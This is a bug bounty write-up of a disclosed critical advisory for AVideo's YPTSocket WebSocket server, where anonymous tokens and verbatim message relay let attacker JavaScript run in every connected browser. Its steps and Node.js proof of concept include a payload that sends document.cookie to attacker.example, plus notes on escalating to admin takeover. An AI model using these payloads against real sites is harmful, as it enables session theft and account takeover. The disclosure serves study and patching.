# WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks

AVideo's YPTSocket WebSocket server relays unauthenticated attacker JSON to all clients, whose script.js eval()s msg.autoEvalCodeOnHTML and callback, executing JS in every connected user's origin.

- Payout: Research
- Severity: critical
- Program: AVideo
- Found by: offset
- Disclosed: 2026-04-14
- CVE: CVE-2026-40911
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-gph2-j4c9-vhhr
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-gph2-j4c9-vhhr
- Tags: area:web domain:web impact:ato impact:privesc kind:research platform:ghsa sev:critical tech:websocket technique:chained technique:source-review vuln:access-control vuln:auth-bypass vuln:xss

**Target:** YPTSocket WebSocket server and client script.js
**Root cause:** WebSocket token is issued to anonymous visitors and validated only by decryption, and the server's default onMessage branch forwards attacker-controlled msg/callback fields verbatim to all clients, which eval() them.
**Steps:**
1. `curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'` to obtain webSocketToken and webSocketURL anonymously
2. Connect to the returned webSocketURL with the token
3. Send `{"webSocketToken":TOKEN,"msg":{"autoEvalCodeOnHTML":"fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));"}}`
4. Alternatively send `{"webSocketToken":TOKEN,"msg":"p","callback":"alert(document.domain);window.x"}`
5. Every connected client evaluates the payload via eval() at script.js:568 or script.js:95
**How found:** Source review of the token issuance endpoint (no auth check), the onMessage default branch (verbatim relay of msg/callback), and grep for eval() sinks in the client script fed by those relayed fields.
**Exploitation:** Unauthenticated attacker fetches a guest token, opens one WebSocket frame, and the server broadcasts the tainted msg/callback to all connected clients; each browser eval()s it in the AVideo origin, letting the attacker exfiltrate sessions or act as any online admin.
**Escalation:** Admin-context JS can install plugins (existing ZIP-upload RCE primitive), promote users, delete videos, rewrite payment/donation flows, and persist via localStorage or stored comments.
**Insight:** WebSocket broadcast relays that forward arbitrary JSON are a client-side XSS amplifier: audit every eval()/Function()/innerHTML sink in the socket client and check whether the server allowlists relayed keys or merely strips one field like from_identification.

## Proof of concept (copied exactly from the original report)

**Node.js WebSocket client sending both eval payloads**

```
const WebSocket = require('ws');
const TOKEN = '<token from step 1>';
const URL   = '<webSocketURL from step 1>';
const ws = new WebSocket(URL, { rejectUnauthorized: false });

ws.on('open', () => {
    // Payload 1 — primary sink (raw WebSocket transport):
    ws.send(JSON.stringify({
        webSocketToken: TOKEN,
        msg: {
            autoEvalCodeOnHTML:
                "fetch('https://attacker.example/x?c='+encodeURIComponent(document.cookie));" +
                "alert('XSS as '+document.domain);"
        }
    }));

    // Payload 2 — secondary sink (reaches both raw WS and Socket.IO clients):
    ws.send(JSON.stringify({
        webSocketToken: TOKEN,
        msg: "p",
        callback: "alert(document.domain);window.x"
    }));
});
```

**Anonymous token retrieval via curl**

```
curl -s 'https://target.example/plugin/YPTSocket/getWebSocket.json.php'

Expected output (abbreviated):
{"error":false,"msg":"","webSocketToken":"<long encrypted token>","webSocketURL":"wss://target.example:8888/?webSocketToken=<token>&..."}
```

